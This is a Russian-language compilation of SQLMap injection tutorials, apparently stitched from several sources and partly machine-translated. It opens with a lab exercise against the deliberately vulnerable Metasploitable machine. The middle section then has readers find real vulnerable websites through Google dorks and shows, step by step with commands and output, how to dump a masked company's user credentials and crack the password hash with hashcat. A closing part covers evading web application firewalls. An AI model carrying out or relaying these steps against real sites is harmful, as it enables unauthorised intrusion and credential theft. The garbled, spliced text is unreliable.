Содержание

Взлом сайта с помощью SQLMap

Ban32 Взломинг 3,245

Один из самых популярных инструментов для выполнения SQL-инъекций, называемый SQLmap, способен автоматизировать процесс обнаружения и эксплуатацию уязвимостей. В этой статье, с помощью SQLMap попробуем взломать сайт. Мы конечно, не будем взламывать настоящий сайт, а будем использовать специально уязвимое веб-приложение OWASP Mutillidae, входящее в состав уязвимой машины Metasploitable.

Еще по теме: Взлом сайта OWASP Juice Shop

Статья написана в образовательных целях, для обучения пентестеров (белых хакеров). Для примера, была использована преднамеренно уязвимая машина Metasploitable. Использование подобных инструментов на настоящих сайтах, без надлежащего разрешения, является незаконным и расценивается, как уголовное преступление. Ни редак­ция spy-soft.net, ни автор не несут ответс­твен­ность за ваши действия.

Для начала установите уязвимую машину Metasploitable. Как это сделать, мы рассказывали в статье «Как установить Metasploitable в VirtualBox»

Откройте терминал в Kali Linux и выполните следующую команду, чтобы запустить SQLmap (она должна быть предустановлена в Kali Linux):

kali@kali:~$ sqlmap -u «http://<IP-адрес Metasploitable>/mutillidae/index. php?page=user-info.php&username=&password=&» —sqlmap-shell

 

sqlmap-shell>

Не забудьте добавить IP-адрес Metasploitable в эту часть команды /<IP-адрес Metasploitable>/.

Параметр -u указывает адрес целевой страницы.

В терминале введите —dbs, чтобы перечислить все базы данных в системе:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

sqlmap-shell> —dbs

[16:16:04] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own (‘PHPSESSID=724251ceeec…19e0ca7aeb’). Do you want to use those [Y/n] :Y

Parameter: username (GET)

    Type: boolean-based blind

    Title: OR boolean-based blind — WHERE or HAVING clause (NOT – MySQL comment)

    Payload: page=user-info.

php&username=’ OR NOT 6675=6675#&password=&user-info-php-submit-button=View Account Details

[16:16:06] [INFO] fetching database names

available databases [7]:

[*] dvwa

[*] information_schema

[*] metasploit

[*] mysql

[*] owasp10

[*] tikiwiki

[*] tikiwiki195

Сначала инструмент SQLmap подключается к серверу и получает новое значение cookie. Затем использует код полезной нагрузки ‘ OR NOT 6675=6675#, чтобы проверить, уязвим ли параметр строки запроса для SQL-инъекции. В данном случае символ # преобразует оставшуюся часть SQL-запроса в комментарий. Наконец, SQLmap внедряет запрос, который возвращает список баз данных на сервере. Как видите, на нем размещено семь баз данных.

Теперь изучим базу данных owasp10. Выполните следующую команду, чтобы вывести список всех таблиц, содержащихся в этой базе данных. Аргумент -D позволяет выбрать конкретную базу данных, а —tables — перечислить все ее таблицы:

1

2

3

4

5

6

7

8

9

10

11

12

sqlmap-shell> -D owasp10 —tables

[17:02:24] [INFO] fetching tables for database: ‘owasp10’

Database: owasp10

[6 tables]

+—————-+

| accounts |

| blogs_table |

| captured_data |

| credit_cards |

| hitlog |

| pen_test_tools |

+—————-+

Эта команда возвратила шесть таблиц. Таблица accounts вызывает особый интерес, поскольку ее название намекает на содержащиеся в ней данные о пользователях. Исследуем ее содержимое. Используйте параметр -T, чтобы выбрать конкретную таблицу, и параметр —dump, чтобы выгрузить (отобразить) ее содержимое в терминале.

Если вы не включите параметр —dump, то SQLmap запишет содержимое таблицы в файл:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

sqlmap-shell>-D owasp10 -T accounts —dump

 

Table: accounts

[16 entries]

+——+———-+———-+—————+——————————+

| cid | is_admin | username | password | mysignature |

+——+———-+———-+—————+——————————+

| 11 | FALSE | scotty | password | Scotty Do |

| 12 | FALSE | cal | password | Go Wildcats |

| 13 | FALSE | john | password | Do the Duggie! |

| 14 | FALSE | kevin | 42 | Doug Adams rocks |

| 15 | FALSE | dave | set | Bet on SET FTW |

| 16 | FALSE | ed | pentest | Commandline KungFu anyone? |

+——+———-+———-+—————+——————————+

Как видите, таблица accounts содержит пять столбцов: cid, is_admin, username, password и mysignature, а также 16 строк данных. Я привел здесь только нижние строки, чтобы сэкономить место.

Вы, вероятно, думаете, что разработчики могли бы защитить эти пароли, зашифровав их. Команда инженеров Adobe думала точно так же. Но что, если кто-то украдет ключ шифрования или просто угадает его? В 2013 году хакерам удалось украсть и расшифровать более 150 миллионов логинов и паролей пользователей Adobe.

В идеале сайты должны хранить пароли в такой форме, которая не позволяет восстановить пароль в виде открытого текста ни администраторам, ни злоумышленникам. Вместо шифрования паролей разработчики программного обеспечения часто используют одностороннюю функцию, например хеш-функцию. В следующей статье поговорим об этих функциях и о том, как их взламывают хакеры.

Еще по теме:

  • Взлом сайта на Django
  • Лучшие сервисы для обучения хакеров

ВКонтакте

Twitter

Facebook

OK

Telegram

WhatsApp

Viber

обнаружение и использование – Telegraph

Этичный Хакер

Sqlmap — это инструмент тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных.

Он поставляется с мощным механизмом обнаружения, множеством специализированных функций для ultimate penetration tester и широким спектром переключений, начиная от снятия отпечатков пальцев с базы данных и извлечения данных из базы данных, заканчивая доступом к базовой файловой системе и выполнением команд в операционной системе через внеполосные соединения.

Функционал инструмента:

  • Полная поддержка систем управления базами данных MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB и Informix.
  • Полная поддержка шести методов SQL-инъекций: слепые на основе логических значений, слепые на основе времени, основанные на ошибках, основанные на UNION запросах, сложенные запросы и внеполосные.
  • Поддержка прямого подключения к базе данных без прохождения через SQL-инъекцию, предоставляя учетные данные СУБД, IP-адрес, порт и имя базы данных.
  • Поддержка перечисления пользователей, хэшей паролей, привилегий, ролей, баз данных, таблиц и столбцов.
  • Автоматическое распознавание форматов хэшей паролей и поддержка их взлома с использованием атаки на основе словаря.
  • Поддержка полного дампа таблиц базы данных, диапазона записей или определенных столбцов по выбору пользователя. Пользователь также может выбрать сброс только диапазона символов из записи каждого столбца.
  • Поддержка поиска определенных имен баз данных, определенных таблиц во всех базах данных или определенных столбцов во всех таблицах баз данных. Это полезно, например, для идентификации таблиц, содержащих пользовательские учетные данные приложения, где имена соответствующих столбцов содержат строку, такую как name и pass .
  • Поддержка загрузки и выгрузки любого файла с базовой файловой системы сервера баз данных, если программным обеспечением базы данных является MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка выполнения произвольных команд и получения их стандартного вывода на сервере базы данных, лежащем в основе операционной системы, когда программным обеспечением базы данных является MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка установления внеполосного TCP-соединения с отслеживанием состояния между машиной злоумышленника и сервером базы данных, лежащим в основе операционной системы. Этот канал может быть интерактивной командной строкой, сеансом Meterpreter или сеансом графического интерфейса пользователя (VNC) по выбору пользователя.
  • Поддержка повышения пользовательских привилегий процесса базы данных с помощью getsystemкоманды Meterpreter Metasploit.

Методы:

sqlmap способен обнаруживать и использовать пять различных типов SQL-инъекций:

Слепой на основе логических значений:

  • sqlmap заменяет или добавляет к затронутому параметру в HTTP-запросе синтаксически допустимую строку SQL-инструкции, содержащую SELECTвложенный оператор, или любой другой SQL-оператор, выходные данные которого пользователь хочет получить.
  • Для каждого HTTP-ответа, сравнивая заголовки /тело HTTP-ответа с исходным запросом, инструмент выводит вывод введенного оператора посимвольно.  В качестве альтернативы пользователь может предоставить строку или регулярное выражение для сопоставления с настоящими страницами.
  • Алгоритм деления пополам, реализованный в sqlmap для выполнения этой техники, способен извлекать каждый символ выходных данных максимум семью HTTP-запросами.
  • В тех случаях, когда выходные данные не входят в кодировку открытого текста, sqlmap адаптирует алгоритм с большими диапазонами для обнаружения выходных данных.

Слепой по времени:

  • sqlmap заменяет или добавляет к затронутому параметру в HTTP-запросе синтаксически допустимую строку SQL-инструкции, содержащую запрос, который приостанавливает возврат серверной СУБД на определенное количество секунд.
  • Для каждого HTTP-ответа, сравнивая время HTTP-ответа с исходным запросом, инструмент выводит вывод введенного оператора посимвольно. Как и для метода, основанного на логических значениях, применяется алгоритм деления пополам.

Ошибка на основе:

  • sqlmap заменяет или добавляет к затронутому параметру оператор, вызывающий сообщение об ошибке, относящееся к конкретной базе данных, и анализирует заголовки и тело HTTP-ответа в поисках сообщений об ошибках СУБД, содержащих введенную заранее определенную цепочку символов и вывод инструкции подзапроса внутри.
  • Этот метод работает только тогда, когда веб-приложение настроено на раскрытие сообщений об ошибках внутренней системы управления базами данных.

На основе запросов UNION:

  • sqlmap добавляет к затронутому параметру синтаксически допустимый оператор SQL, начинающийся с UNION ALL SELECT. Этот метод работает, когда страница веб-приложения передает вывод инструкции непосредственноSELECT в forцикле или аналогично, так что каждая строка вывода запроса печатается в содержимом страницы.
  • sqlmap также может использовать уязвимости SQL-инъекции частичного (с одной записью) запроса ОБЪЕДИНЕНИЯ, которые возникают, когда вывод инструкции не циклически выполняется в forконструкции, тогда как отображается только первая запись вывода запроса.

Сложенные запросы:

  • также известный как копилка: sqlmap проверяет, поддерживает ли веб-приложение запросы с накоплением, а затем, в случае, если оно поддерживает, оно добавляет к затронутому параметру в HTTP-запросе точку с запятой (;), за которой следует оператор SQL, который должен быть выполнен.
  • Этот метод полезен для выполнения инструкций SQL, отличных отSELECT, например, инструкций определения данных или манипулирования данными, что может привести к доступу для чтения и записи файловой системы и выполнению команд операционной системы в зависимости от базовой серверной системы управления базами данных и привилегий пользователя сеанса.

Найдите уязвимый веб-сайт:

Обычно это самая сложная часть и занимает больше времени, чем любые другие шаги. Будем использовать Google Dorks.

Google Dorks:

Google Dork подвергают риску корпоративную информацию, поскольку невольно создают лазейки, позволяющие злоумышленнику проникнуть в сеть без разрешения и / или получить доступ к несанкционированной информации. Для поиска конфиденциальной информации злоумышленники используют строки расширенного поиска, называемые Google Dork Queries.

Шаг 1. Первоначальная проверка, чтобы подтвердить, уязвим ли веб-сайт для SQL-инъекции SQLMAP

Существует несколько способов, и я уверен, что люди будут спорить, какой из них лучше, но для меня следующий является самым простым и убедительным.

Допустим, вы искали, используя эту строку inurl:item_id=, и один из результатов поиска Google показывает веб-сайт, подобный этому:

http://www.*****.com/products_showitem_clemco.php?item_id=28434

Просто добавьте одинарную кавычку ‘ в конце URL-адреса. (Просто чтобы убедиться, что ” — это двойные кавычки, а ” ‘ ” — одинарные кавычки).

Итак, теперь ваш URL-адрес станет таким:

http://www.*****.com/products_showitem_clemco.php?item_id=28434 '

Если страница возвращает ошибку SQL, страница уязвима для SQL-инъекции SQLMAP. Если он загрузит или перенаправит вас на другую страницу, перейдите на следующий сайт на странице результатов поиска Google.

Смотрите Пример ошибки ниже на скриншоте. Я скрыл все, включая URL и дизайн страницы, по понятным причинам.

sqli-1

Примеры ошибок SQLi из разных баз данных и языков

Microsoft SQL Server

Ошибка сервера в приложении ‘/’. Незакрытая кавычка перед символьной строкой ‘attack;’.

Описание: Необработанное исключение возникло во время выполнения текущего веб-запроса.  Пожалуйста, просмотрите трассировку стека для получения дополнительной информации об ошибке, из-за которой она возникла в коде.

Сведения об исключении: System.Data.SqlClient.SQLException: незакрытая кавычка перед строкой символов ‘attack;’.

Ошибки MySQL

Предупреждение: mysql_fetch_array(): предоставленный аргумент не является допустимым ресурсом результата MySQL в /var/www/myawesomestore.com/buystuff.php в строке 12

Ошибка: у вас ошибка в синтаксисе SQL: проверьте руководство, соответствующее вашей версии сервера MySQL, на предмет правильного синтаксиса для использования рядом с ‘’ в строке 12

Ошибки Oracle

java.sql.SQLException: ORA-00933: команда SQL неправильно завершилась в oracle.jdbc.dbaaccess.Исключение DBError.throwSqlException(DBError.java:180) в oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)

Ошибка: SQLExceptionjava.sql.SQLException: ORA-01756: строка в кавычках не завершается должным образом

Ошибки PostgreSQL

Ошибка запроса: ОШИБКА: нерасчеркнутая строка в кавычках на или рядом с “‘’”

Шаг 2.
Список баз данных СУБД с использованием SQL-инъекции SQLMAP:

Как вы можете видеть на скриншоте выше, я обнаружил уязвимый веб-сайт для SQL-инъекций SQLMAP. Теперь мне нужно перечислить все базы данных в этой уязвимой базе данных. (это также называется перечислением количества столбцов). Поскольку я использую SQLMAP, он также сообщит мне, какой из них уязвим.

Выполните следующую команду на вашем уязвимом веб-сайте с помощью.

sqlmap -u http://www.*****.com/products_showitem_clemco.php?item_id=28434 --dbs

Здесь:

sqlmap = имя двоичного файла

sqlmap -u = целевой URL (например, “http://www.*****.com/products_showitem_ghoc.php?item_id=28434 ”)

–dbs = Перечислять базы данных СУБД

Смотрите Скриншот ниже.

sqli-2

Эти команды раскрывают довольно много интересной информации:

технология веб-приложений:
серверная СУБД Apache: MySQL 5.0
[10:55:53] [ИНФОРМАЦИЯ] получено: information_schema
[10:55:56] [ИНФОРМАЦИЯ] получено: *****
[10:55:56] [ИНФОРМАЦИЯ] извлеченные данные записываются в текстовые файлы в разделе
'/usr/ share/sqlmap/output/www.
*****.com'

Итак, теперь у нас есть две базы данных, в которые мы можем заглянуть. information_schema — это стандартная база данных практически для каждой базы данных MYSQL. Итак, нас интересует база данных clemcoindustries.

Шаг 3. Список таблиц целевой базы данных с использованием SQL-инъекции SQLMAP:

Теперь нам нужно знать, сколько таблиц есть в базе данных clemcoindustries и каковы их имена. Чтобы узнать эту информацию, используйте следующую команду:

sqlmap -u http://www.*****.com/cgi-bin/item.cgi?item_id=15 -D
clemcoindustries -таблицы

эта база данных содержит 8 таблиц.

[10:56:20] [ИНФОРМАЦИЯ] выборка таблиц для базы данных: '*****'
[10:56:22] [ИНФОРМАЦИЯ] эвристика обнаружила кодировку веб-страницы 'ISO-8859-2'
[10:56:22] [ИНФОРМАЦИЯ] используемый SQL-запрос возвращает 8 записей
[10:56:25] [ИНФОРМАЦИЯ] извлечено: элемент
[10:56:27] [ИНФОРМАЦИЯ] получено: ссылка
[10:56:30] [ИНФОРМАЦИЯ] получено: другое
[10:56:32] [ИНФОРМАЦИЯ] извлечено: изображение
[10:56:34] [ИНФОРМАЦИЯ] получено: picture_tag
[10:56:37] [ИНФОРМАЦИЯ] извлечено: popular_picture
[10:56:39] [ИНФОРМАЦИЯ] получено: popular_tag
[10:56:42] [ИНФОРМАЦИЯ] получено: user_info
sqli-3

и, конечно, мы хотим проверить, что находится внутри таблицы user_info, используя SQL-инъекцию SQLMAP, поскольку эта таблица, вероятно, содержит имя пользователя и пароли.

Шаг 4. Список столбцов в целевой таблице выбранной базы данных с использованием SQL-инъекции SQLMAP:

Теперь нам нужно перечислить все столбцы в целевой таблице user_info базы данных clemcoindustries с помощью SQL-инъекции SQLMAP. SQL-инъекция SQLMAP упрощает работу, выполните следующую команду:

sqlmap -u http://www.*****.com/cgi-bin/item.cgi?item_id=15 -D
*****-T user_i
nfo --columns

Это возвращает 5 записей из целевой таблицы user_info базы данных clemcoindustries.

[10:57:16] [ИНФОРМАЦИЯ] выборка столбцов для таблицы 'user_info' в базе данных '*****'
[10:57:18] [ИНФОРМАЦИЯ] эвристика обнаружила кодировку веб-страницы 'ISO-8859-2'
[10:57:18] [ИНФОРМАЦИЯ] используемый SQL-запрос возвращает 5 записей
[10:57:20] [ИНФОРМАЦИЯ] получено: user_id
[10:57:22] [ИНФОРМАЦИЯ] получено: int(10) без знака
[10:57:25] [ИНФОРМАЦИЯ] получено: user_login
[10:57:27] [ИНФОРМАЦИЯ] получено: varchar(45)
[10:57:32] [ИНФОРМАЦИЯ] получено: user_password
[10:57:34] [ИНФОРМАЦИЯ] получено: varchar(255)
[10:57:37] [ИНФОРМАЦИЯ] получено: unique_id
[10:57:39] [ИНФОРМАЦИЯ] получено: varchar(255)
[10:57:41] [ИНФОРМАЦИЯ] получено: record_status
[10:57:43] [ИНФОРМАЦИЯ] получено: tinyint(4)

Это именно то, что мы ищем . .. целевая таблица user_login и user_password .

sqli-4
Шаг 5. Перечислите имена пользователей из целевых столбцов целевой таблицы выбранной базы данных с помощью SQL-инъекции SQLMAP:

SQLMAP SQL-инъекция делает это просто! Просто снова запустите следующую команду:

sqlmap -u http://www.*****.com/cgi-bin/item.cgi?item_id=15 -D
gbhackers-T user_info -C user_login --dump

Угадайте, что теперь у нас есть имя пользователя из базы данных:

[10:58:39] [ИНФОРМАЦИЯ] получено: UserX
[10:58:40] [ИНФОРМАЦИЯ] анализ дампа таблицы на предмет возможных хэшей паролей
sqli-5

Почти готово, теперь нам нужен только пароль для этого пользователя.. Далее показано именно это..

Шаг 6. Извлечение пароля из целевых столбцов целевой таблицы выбранной базы данных с помощью SQL-инъекции SQLMAP:

Вы, вероятно, привыкли к тому, как использовать SQLMAP SQL Injection tool. Используйте следующую команду для извлечения пароля для пользователя.

sqlmap -u http://www. *****.com/cgi-bin/item.cgi?item_id=15 -D *****-T
user_info -C user_password --dump
У нас есть хэшированный пароль: 24iYBc17xK0e
[10:59:15] [ИНФОРМАЦИЯ] используемый SQL-запрос возвращает 1 запись
[10:59:17] [ИНФОРМАЦИЯ] получено: 24iYBc17xK0e.
[10:59:18] [ИНФОРМАЦИЯ] анализ дампа таблицы на предмет возможных хэшей паролей
База данных: sqldummywebsite
Таблица: user_info
[1 запись]
+---------------+
| user_password |
+---------------+
| 24iYBc17xK0e. |
+---------------+
sqli-6

Но подождите, этот пароль выглядит забавно. Это не может быть чей-то пароль.. У кого-то, кто оставляет свой сайт уязвимым, просто не может быть такого пароля.

Это совершенно верно. Это хэшированный пароль. Что это значит, пароль зашифрован, и теперь нам нужно его расшифровать.

Я подробно рассказал о том, как расшифровать пароль в этом взломе паролей MD5, phpBB, MySQL и SHA1 с помощью Hashcat в Kali Linux post. Если вы пропустили это, вы многое упускаете.

Я расскажу об этом вкратце здесь, но вам действительно следует научиться использовать hashcat.

Шаг 7: взлом пароля:

Итак, хэшированный пароль — 24iYBc17xK0e. . Откуда вы знаете, что это за тип хэша?

1. Определите тип хэша:

К счастью, Kali Linux предоставляет хороший инструмент, и мы можем использовать его, чтобы определить, какой тип хэша это. В командной строке введите следующую команду и в командной строке вставьте хэш-значение:

hash-identifier
sqli-7

Отлично. Итак, это DES (Unix) хэш.

2. Взломать ХЭШ с помощью cudahashcat:

Прежде всего, мне нужно знать, какой код использовать для хэшей DES. Итак, давайте проверим, что

cudahashcat --help | grep DES
sqli-8

Итак, это либо 1500, либо 3100. Но это была база данных MYSQL, поэтому она должна быть 1500.

Я сохранил значение хэша 24iYBc17xK0e. в файле DES.hash. Ниже приведена команда, которую я выполняю:

cudahashcat -m 1500 -a 0 /root/sql/DES.hash /root/sql/rockyou.txt
sqli-9

Интересная находка: обычный Hashcat не смог определить код для DES hash.  (не в меню справки). Однако, как cudaHashcat, так и oclHashcat нашли и взломали ключ.

Во всяком случае, вот взломанный пароль: abc123   24iYBc17xK0e. : abc123

SQLmap Tutorial

Запустить sqlmap самостоятельно несложно.

Этот обучающий курс превратит вас из нуба в ниндзя с помощью этого мощного инструмента для тестирования SQL-инъекций.

Sqlmap — это инструмент на основе Python, что означает, что он обычно работает в любой системе с Python. Тем не менее, нам нравится Linux и, в частности, Ubuntu, он просто упрощает работу. Python уже установлен в Ubuntu. Это тот же инструмент, который мы используем на нашем онлайн-сайте для тестирования SQL-инъекций.

Чтобы начать работу с sqlmap, необходимо загрузить инструмент, распаковать его и запустить команду с необходимыми параметрами. Поскольку среди вас могут быть пользователи Windows, я сначала начну с того, как установить и запустить Ubuntu. Легко начать работу с системой Ubuntu Linux, даже если мысль о Linux вызывает дрожь от страха. Кто знает, может быть, вам это даже понравится.

Содержание:
— Установка SQLmap
— HTTP GET
— Получение блокировки
— Таблицы базы данных
— Дамп данных
— Советы
— Подробный вывод
— Учетные данные базы данных
— Учетные данные подключения к БД

Установите SQLmap

Шаг 1: Получите операционную систему на базе Linux

Если вы собираетесь запускать SQLmap в Windows с помощью Python, убедитесь, что у вас установлен Python, и перейдите к следующему шагу. В противном случае запустите свою систему Linux. Либо установите виртуальную машину Linux (рекомендуется Ubuntu или Kali) в Windows (Virtualbox / VMware / Parallels), либо загрузите рабочий стол Linux.

Если вы используете Microsoft Windows в качестве основной операционной системы, удобно и просто запустить установку Ubuntu Linux (или Kali Linux) на виртуальной машине. Затем вы можете поиграть с sqlmap, nmap, nikto и openvas, а также с сотней других мощных инструментов безопасности с открытым исходным кодом.

Шаг 2: Установка SQLmap

Python предустановлен в Ubuntu, поэтому все, что вам нужно сделать, это клонировать последний репозиторий из git и начать тестирование.

 elliot@evilcorp:~$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Клонирование в 'sqlmap-dev'...
удаленный: Подсчет объектов: 633, готово.
remote: Сжатие объектов: 100% (602/602), готово.
удаленный: всего 633 (дельта 170), повторно используется 171 (дельта 20), повторно используется 0
Получение объектов: 100% (633/633), 7,17 МБ | 2,44 МБ/с, готово.
Разрешение дельт: 100% (170/170), готово. 

Перейдите в каталог и запустите скрипт Python, чтобы убедиться, что все выглядит хорошо.

 elliot@evilcorp:~$ cd sqlmap-dev
elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py


       __ЧАС__
 ___ ___[']_____ ___ ___ {1.5.2.12#dev}
|_ -| . ['] | .'| . |
|___|_["]_|_|_|__,| _|
      |_|В... |_| http://sqlmap.org


Использование: python sqlmap.py [параметры]

sqlmap. py: ошибка: отсутствует обязательный параметр (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, - -purge-output или --dependencies), используйте -h для базовой или -hh для расширенной справки 

Если вы не видите что-то вроде приведенного выше вывода, убедитесь, что python работает, попробуйте python -V , чтобы проверить версию, и вы находитесь в правильном месте. Теперь давайте двигаться дальше, это была легкая часть.

Чтобы получить полный список доступных параметров, запустите python sqlmap.py -h .
Чтобы отобразить расширенную справку и доступные параметры, запустите python sqlmap.py -hh

Запуск SQLmap

Простой тест на основе HTTP GET

В этом простом тесте мы будем использовать стандартный Запрос HTTP GET на основе URI с параметром (?id=5). Это позволит протестировать различные методы SQL-инъекции по параметру id .

 python sqlmap.py -u 'http://mytestsite. com/page.php?id=5' 

В результатах мы видим различные методы, используемые для параметра.


       ___
       __ЧАС__
 ___ ___[']_____ ___ ___ {1.5.2.12#dev}
|_ -| . ['] | .'| . |
|___|_["]_|_|_|__,| _|
      |_|В... |_| http://sqlmap.org


[!] Правовая оговорка: Использование sqlmap для атаки целей без предварительного взаимного согласия является незаконным. Конечный пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут никакой ответственности и не несут ответственности за любое неправильное использование или ущерб, причиненный этой программой.

[*] начиная с 12:55:56

[12:55:56] [INFO] проверка подключения к целевому URL
[12:55:57] [INFO] проверка, защищена ли цель каким-либо WAF/IPS/IDS
[12:55:58] [INFO] проверка стабильного содержания целевого URL
[12:55:58] [INFO] содержание целевого URL стабильно
[12:55:58] [INFO] проверка динамического параметра GET 'id'
[12:55:58] [INFO] подтверждение того, что параметр GET 'id' является динамическим
[12:55:59] [INFO] Параметр GET 'id' является динамическим
[12:55:59] [INFO] эвристический (базовый) тест показывает, что параметр GET 'id' может быть инжектируемым (возможная СУБД: 'MySQL')
[12:56:00] [INFO] тестирование SQL-инъекций по параметру GET 'id'
похоже, что серверная СУБД - это «MySQL».  Вы хотите пропустить тестовую полезную нагрузку, специфичную для других СУБД? [Д/н] Д
для оставшихся тестов вы хотите включить все тесты для «MySQL», расширяющие предоставленные значения уровня (1) и риска (1)? [Д/н] Д
[12:56:16] [ИНФОРМАЦИЯ] тестирование «слепого И на логической основе — предложение ГДЕ или ИМЕЕТ»
[12:56:18] [INFO] Параметр GET 'id' выглядит как 'И на основе логического значения слепого — предложение WHERE или HAVING' для внедрения (с --string="hac")
[12:56:18] [INFO] тестирование «MySQL >= 5.5 И на основе ошибок — предложение WHERE, HAVING, ORDER BY или GROUP BY (BIGINT UNSIGNED)»
[12:56:19] [INFO] тестирование «MySQL >= 5.5 ИЛИ на основе ошибок — предложение WHERE или HAVING (BIGINT UNSIGNED)»
[12:56:19] [INFO] тестирование «MySQL >= 5.5 И на основе ошибок — предложение WHERE, HAVING, ORDER BY или GROUP BY (EXP)»
[12:56:19] [INFO] тестирование «MySQL >= 5.5 ИЛИ на основе ошибок — предложение WHERE или HAVING (EXP)»
[12:56:20] [INFO] тестирование «MySQL >= 5. 7.8 И на основе ошибок — предложение WHERE, HAVING, ORDER BY или GROUP BY (JSON_KEYS)»
[12:56:20] [INFO] тестирование «MySQL >= 5.7.8 ИЛИ на основе ошибок — предложение WHERE или HAVING (JSON_KEYS)»
[12:56:21] [INFO] тестирование «MySQL >= 5.0 И на основе ошибок — предложение WHERE, HAVING, ORDER BY или GROUP BY (FLOOR)»
[12:56:21] [INFO] тестирование «MySQL >= 5.0 ИЛИ на основе ошибок — предложение WHERE, HAVING, ORDER BY или GROUP BY (FLOOR)»
[12:56:21] [INFO] тестирование «MySQL >= 5.1 И на основе ошибок — предложение WHERE, HAVING, ORDER BY или GROUP BY (EXTRACTVALUE)»
[12:56:22] [INFO] тестирование «MySQL >= 5.1 ИЛИ на основе ошибок — предложение WHERE, HAVING, ORDER BY или GROUP BY (EXTRACTVALUE)»
[12:56:22] [INFO] тестирование «MySQL >= 5.1 И на основе ошибок — предложение WHERE, HAVING, ORDER BY или GROUP BY (UPDATEXML)»
[12:56:22] [INFO] тестирование «MySQL >= 5.1 ИЛИ на основе ошибок — предложение WHERE, HAVING, ORDER BY или GROUP BY (UPDATEXML)»
[12:56:23] [INFO] тестирование «MySQL >= 4. 1 И на основе ошибок — предложение WHERE, HAVING, ORDER BY или GROUP BY (FLOOR)»
[12:56:23] [INFO] тестирование «MySQL >= 4.1 ИЛИ на основе ошибок — предложение WHERE или HAVING (FLOOR)»
[12:56:24] [INFO] тестирование «MySQL ИЛИ на основе ошибок — предложение WHERE или HAVING (FLOOR)»
[12:56:24] [INFO] тестирование «MySQL >= 5.1 на основе ошибок — PROCEDURE ANALYZE (EXTRACTVALUE)»
[12:56:25] [INFO] тестирование «MySQL >= 5.5 на основе ошибок — замена параметра (BIGINT UNSIGNED)»
[12:56:25] [INFO] тестирование «MySQL >= 5.5 на основе ошибок — замена параметра (EXP)»
[12:56:25] [INFO] тестирование «MySQL >= 5.7.8 на основе ошибок — замена параметра (JSON_KEYS)»
[12:56:26] [INFO] тестирование «MySQL >= 5.0 на основе ошибок — замена параметра (FLOOR)»
[12:56:26] [INFO] тестирование «MySQL >= 5.1 на основе ошибок — замена параметра (UPDATEXML)»
[12:56:27] [INFO] тестирование «MySQL >= 5.1 на основе ошибок — замена параметра (EXTRACTVALUE)»
[12:56:27] [INFO] тестирование «встроенных запросов MySQL»
[12:56:27] [INFO] тестирование «MySQL > 5. 0.11 сложенных запросов (комментарий)»
[12:56:28] [INFO] тестирование «MySQL > 5.0.11 сложенных запросов»
[12:56:28] [INFO] тестирование «MySQL > 5.0.11 сложенных запросов (запрос SLEEP — комментарий)»
[12:56:28] [INFO] тестирование «MySQL > 5.0.11 сложенных запросов (запрос SLEEP)»
[12:56:29] [ИНФОРМАЦИЯ] тестирование «MySQL = 5.0.12 И слепой режим на основе времени»
[12:56:41] [INFO] Параметр GET 'id' выглядит как 'MySQL >= 5.0.12 AND слепой по времени' для внедрения
[12:56:41] [INFO] тестирование «Общий запрос UNION (NULL) — от 1 до 20 столбцов»
[12:56:41] [ИНФОРМАЦИЯ] автоматическое расширение диапазонов для тестов метода внедрения запросов UNION, поскольку найден как минимум еще один (потенциальный) метод
[12:56:41] [INFO] Техника ORDER BY кажется пригодной для использования. Это должно сократить время, необходимое для поиска нужного количества столбцов запроса. Автоматическое расширение диапазона для текущего теста метода внедрения запроса UNION
[12:56:43] Целевой URL-адрес [INFO] содержит 3 столбца в запросе
[12:56:46] [INFO] Параметр GET 'id' - это 'Универсальный запрос UNION (NULL) - от 1 до 20 столбцов' для внедрения
Параметр GET 'id' уязвим.  Вы хотите продолжать тестировать другие (если есть)? [г/н] н
sqlmap идентифицировал следующие точки внедрения с 53 HTTP-запросами:
---
Параметр: идентификатор (GET)
    Тип: слепой на основе логического значения
    Заголовок: логические слепые И - предложение WHERE или HAVING
    Полезная нагрузка: id=1 И 9561=9561

    Тип: слепой по времени И/ИЛИ
    Заголовок: MySQL >= 5.0.12 И слепой по времени
    Полезная нагрузка: id=1 И SLEEP(5)

    Тип: запрос UNION
    Заголовок: Общий запрос UNION (NULL) — 3 столбца
    Полезная нагрузка: id=-6630 UNION ALL SELECT NULL,CONCAT(0x7178786271,0x79434e597a45536f5a4c695273427857546c76554854574c4f5a534f587368725142615a54456256,0x 716b767a71),NULL-- mIJj
---
[12:56:52] [INFO] серверная СУБД — MySQL
технология веб-приложений: Nginx, PHP 5.3.10
серверная СУБД: MySQL >= 5.0.12
[12:56:52] [INFO] извлек данные, записанные в текстовые файлы в папке '/home/elliot/.sqlmap/output/mytestsite'

[*] выключение в 12:56:52
 
Блокировка брандмауэром веб-приложений — WAF

Попробуйте использовать другой пользовательский агент, а не sqlmap по умолчанию с параметром --randomagent .

elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py -u "http://mytestsite.com/page.php?id=5" --random-agent
        ___
       __ЧАС__
 ___ ___[]_____ ___ ___ {1.5.2.12#dev}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
      |_|В... |_| http://sqlmap.org

[!] Правовая оговорка: Использование sqlmap для атаки целей без предварительного взаимного согласия является незаконным. Конечный пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут никакой ответственности и не несут ответственности за любое неправильное использование или ущерб, причиненный этой программой.

[*] начиная с 14:14:04 /2019-11-01/
 
Получение таблиц базы данных

SQLmap можно использовать для тестирования и эксплуатации SQL-инъекций, таких как извлечение данных из баз данных, обновление таблиц и даже открытие оболочек на удаленных хостах , если все утки в порядке.

